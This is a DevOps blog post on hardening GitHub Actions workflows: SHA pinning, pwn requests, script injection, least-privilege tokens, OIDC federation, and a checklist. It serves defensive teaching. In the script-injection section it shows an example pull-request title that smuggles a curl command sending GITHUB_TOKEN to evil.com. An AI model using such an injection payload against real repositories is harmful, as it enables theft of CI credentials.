BlogDevOps
DevOps

GitHub Actions Security Hardening: Stop Supply Chain Attacks Before They Happen

Supply chain attacks via GitHub Actions are rising sharply. We cover every attack vector — from compromised third-party actions to OIDC token abuse — and provide a complete hardening checklist with real workflow examples you can implement today.

M

Marcus Rodriguez

Lead DevOps Engineer specializing in CI/CD pipelines, container orchestration, and infrastructure automation.

January 28, 2026
25 min read

The GitHub Actions Attack Surface

GitHub Actions has become the backbone of CI/CD for millions of repositories. With that adoption comes a growing attack surface that threat actors are actively exploiting. The 2025 tj-actions/changed-files incident — where a malicious commit to a popular action exposed secrets from thousands of CI pipelines — demonstrated how catastrophic a single compromised action dependency can be.

Understanding the full attack surface is the first step. GitHub Actions pipelines are vulnerable to:

  • Compromised third-party actions — the action you pin today might be different tomorrow if you use mutable tags
  • Pwn requests — pull requests from forks triggering workflows with write access
  • Script injection — untrusted input (PR titles, branch names) used in run: steps
  • Excessive GITHUB_TOKEN permissions — workflows with more permissions than needed
  • Secret exfiltration — secrets visible in logs, sent to external services
  • OIDC token abuse — misconfigured cloud trust policies accepting any repo's tokens
  • Artifact poisoning — malicious artifacts uploaded by one workflow and consumed by another

Attack Vector 1: Compromised Third-Party Actions

The most common mistake: using mutable action references like uses: actions/checkout@v4. If that tag is moved or the action is compromised, your workflow silently runs attacker-controlled code.

The Fix: Pin Everything to SHA

# VULNERABLE: Mutable tag reference
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
- uses: aws-actions/configure-aws-credentials@v4
# SECURE: Pinned to immutable commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683        # v4.2.2
- uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af      # v4.1.0
- uses: aws-actions/configure-aws-credentials@ececc811c41c4ab39be0c7ecc42a87e1b7fa4d08 # v4.3.0

# The comment showing the version tag is critical for maintainability
# Use tools like Dependabot or pin-github-action to automate this

Automate SHA pinning with the pin-github-action tool:

# Install and run pin-github-action on all your workflows
pip install pin-github-action
pin-github-action .github/workflows/*.yml

# Or use the GitHub Action itself for automated PRs
# .github/workflows/pin-actions.yml
name: Pin Actions
on:
  schedule:
    - cron: '0 9 * * MON'  # Weekly on Monday
jobs:
  pin:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2
      - uses: mheap/pin-action@  # Pin the pinner too!

Attack Vector 2: Pwn Requests (fork pull_request Workflows)

When a workflow triggers on pull_request, code from an external fork runs in your CI environment. If the workflow has write permissions or access to secrets, an attacker can open a PR to execute arbitrary code.

# VULNERABLE: pull_request with secrets and write permissions
on:
  pull_request:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4  # Checks out ATTACKER'S code
      - run: npm test
      - uses: aws-actions/configure-aws-credentials@v4  # DANGEROUS
        with:
          aws-access-key-id: {{ secrets.AWS_ACCESS_KEY_ID }}  # EXPOSED
# SECURE: Separate test workflow (no secrets) from deploy (requires approval)

# .github/workflows/ci.yml — runs on pull_request, NO secrets
on:
  pull_request:
    branches: [main]

permissions:
  contents: read      # Minimal permissions

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: npm ci && npm test
      # No secrets here, no cloud access, read-only

---
# .github/workflows/deploy.yml — only runs after merge to main
on:
  push:
    branches: [main]

permissions:
  contents: read
  id-token: write   # Only what's needed for OIDC

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production  # Requires manual approval
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: aws-actions/configure-aws-credentials@ececc811c41c4ab39be0c7ecc42a87e1b7fa4d08
        with:
          role-to-assume: arn:aws:iam::123456789:role/GitHubActionsRole
          aws-region: us-east-1

Attack Vector 3: Script Injection via Untrusted Input

This is subtle but critical. When you use {{ github.event.pull_request.title }} or similar in a run: step, you're directly interpolating attacker-controlled content into a shell command.

# VULNERABLE: Direct interpolation of untrusted input
- name: Post comment
  run: |
    echo "PR title: {{ github.event.pull_request.title }}"
    gh pr comment {{ github.event.pull_request.number }}       --body "Processing: {{ github.event.pull_request.title }}"

# Attacker creates PR with title: 
# "$(curl -s https://evil.com/exfil?token=$GITHUB_TOKEN)"
# This executes in your runner, exfiltrating the token
# SECURE: Pass untrusted input via environment variable, not interpolation
- name: Post comment
  env:
    PR_TITLE: {{ github.event.pull_request.title }}  # Set as env var
    PR_NUMBER: {{ github.event.pull_request.number }}
  run: |
    echo "PR title: $PR_TITLE"   # Shell reads from env, not raw interpolation
    gh pr comment "$PR_NUMBER" --body "Processing: $PR_TITLE"
    
# The env var approach prevents injection because shell doesn't 
# evaluate the content as a command — it's just a string value

Attack Vector 4: Excessive GITHUB_TOKEN Permissions

By default, GITHUB_TOKEN has write permissions to your repository. Most workflows don't need this.

# Set repository-level default to read-only in Settings → Actions → General
# Then grant only what each workflow needs:

# Workflow that only reads code and runs tests
permissions:
  contents: read

# Workflow that creates releases
permissions:
  contents: write
  packages: write

# Workflow that posts PR comments
permissions:
  pull-requests: write
  contents: read

# Workflow that deploys via OIDC (no static AWS keys!)
permissions:
  contents: read
  id-token: write   # Required for OIDC token request

# NEVER use:
permissions: write-all  # This is the dangerous default for many templates

Attack Vector 5: Static Secrets vs OIDC Federation

Storing long-lived AWS access keys, GCP service account keys, or Azure service principal secrets in GitHub Secrets is a significant risk — they can be exfiltrated and used indefinitely. OIDC federation eliminates this by issuing short-lived tokens per workflow run.

# === AWS OIDC Setup ===

# 1. Create IAM OIDC Identity Provider for GitHub
aws iam create-open-id-connect-provider   --url https://token.actions.githubusercontent.com   --client-id-list sts.amazonaws.com   --thumbprint-list 6938fd4d98bab03faadb97b34396831e3780aea1

# 2. Create IAM Role with trust policy
cat > trust-policy.json << 'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::YOUR_ACCOUNT_ID:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": 
            "repo:YOUR_ORG/YOUR_REPO:environment:production"
          # Lock to specific repo AND environment — don't use wildcard!
        }
      }
    }
  ]
}
EOF

aws iam create-role   --role-name GitHubActionsDeployRole   --assume-role-policy-document file://trust-policy.json

# 3. In your workflow (no stored secrets needed!)
- uses: aws-actions/configure-aws-credentials@ececc811c41c4ab39be0c7ecc42a87e1b7fa4d08
  with:
    role-to-assume: arn:aws:iam::YOUR_ACCOUNT_ID:role/GitHubActionsDeployRole
    aws-region: us-east-1
    role-duration-seconds: 3600

Complete Hardened Workflow Template

# .github/workflows/deploy-production.yml
name: Deploy to Production

on:
  push:
    branches: [main]

# Minimal permissions at workflow level
permissions:
  contents: read
  id-token: write  # Required for OIDC only

# Prevent concurrent deployments
concurrency:
  group: production
  cancel-in-progress: false  # Never cancel a running deploy

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production  # Requires manual approval from code owners
    timeout-minutes: 30      # Prevent runaway workflows

    steps:
      # Pinned to SHA, not tag
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

      # OIDC — no static AWS keys stored
      - uses: aws-actions/configure-aws-credentials@ececc811c41c4ab39be0c7ecc42a87e1b7fa4d08
        with:
          role-to-assume: {{ vars.AWS_DEPLOY_ROLE_ARN }}
          aws-region: {{ vars.AWS_REGION }}

      # Use vars (non-secret config) not secrets for non-sensitive values
      - name: Deploy
        env:
          ENV_NAME: {{ vars.ENVIRONMENT_NAME }}  # Non-secret via vars
          IMAGE_TAG: {{ github.sha }}             # Immutable commit SHA
        run: |
          # All shell variables from env, never from inline {{ }} 
          aws ecs update-service             --cluster "$ENV_NAME"             --service "my-service"             --force-new-deployment

      # Audit: write summary, not secrets to logs
      - name: Deployment Summary
        run: |
          echo "## Deployment Complete" >> $GITHUB_STEP_SUMMARY
          echo "- Environment: {{ vars.ENVIRONMENT_NAME }}" >> $GITHUB_STEP_SUMMARY
          echo "- Commit: {{ github.sha }}" >> $GITHUB_STEP_SUMMARY
          echo "- Triggered by: {{ github.actor }}" >> $GITHUB_STEP_SUMMARY

Automated Security Scanning for Workflows

# Use actionlint to statically analyze all your workflows
# Install
curl -sL https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash | bash

# Run on all workflows
./actionlint .github/workflows/*.yml

# Use zizmor for deeper security analysis (detects injection, permission issues)
pip install zizmor
zizmor .github/workflows/

# Integrate into your CI:
- name: Lint and Scan Workflows
  uses: rhysd/actionlint@
  
- name: Security Scan Workflows  
  run: |
    pip install zizmor
    zizmor .github/workflows/

Security Hardening Checklist

  • ☑ All action references pinned to full commit SHA
  • ☑ Default permissions set to read-all in repository settings
  • ☑ Each workflow declares only the permissions it needs
  • ☑ No static cloud credentials stored in Secrets — use OIDC
  • ☑ OIDC trust policies locked to specific repo + environment (no wildcards)
  • ☑ Untrusted input passed via env vars, never interpolated in run:
  • ☑ Deploy workflows use environment: with required reviewers
  • pull_request workflows have no secrets or write permissions
  • ☑ actionlint and zizmor integrated into CI
  • ☑ Dependabot or Renovate configured to update action SHA pins
M

Marcus Rodriguez

Lead DevOps Engineer specializing in CI/CD pipelines, container orchestration, and infrastructure automation.

Ready to Transform Your Infrastructure?

Let's discuss how we can help you achieve similar results.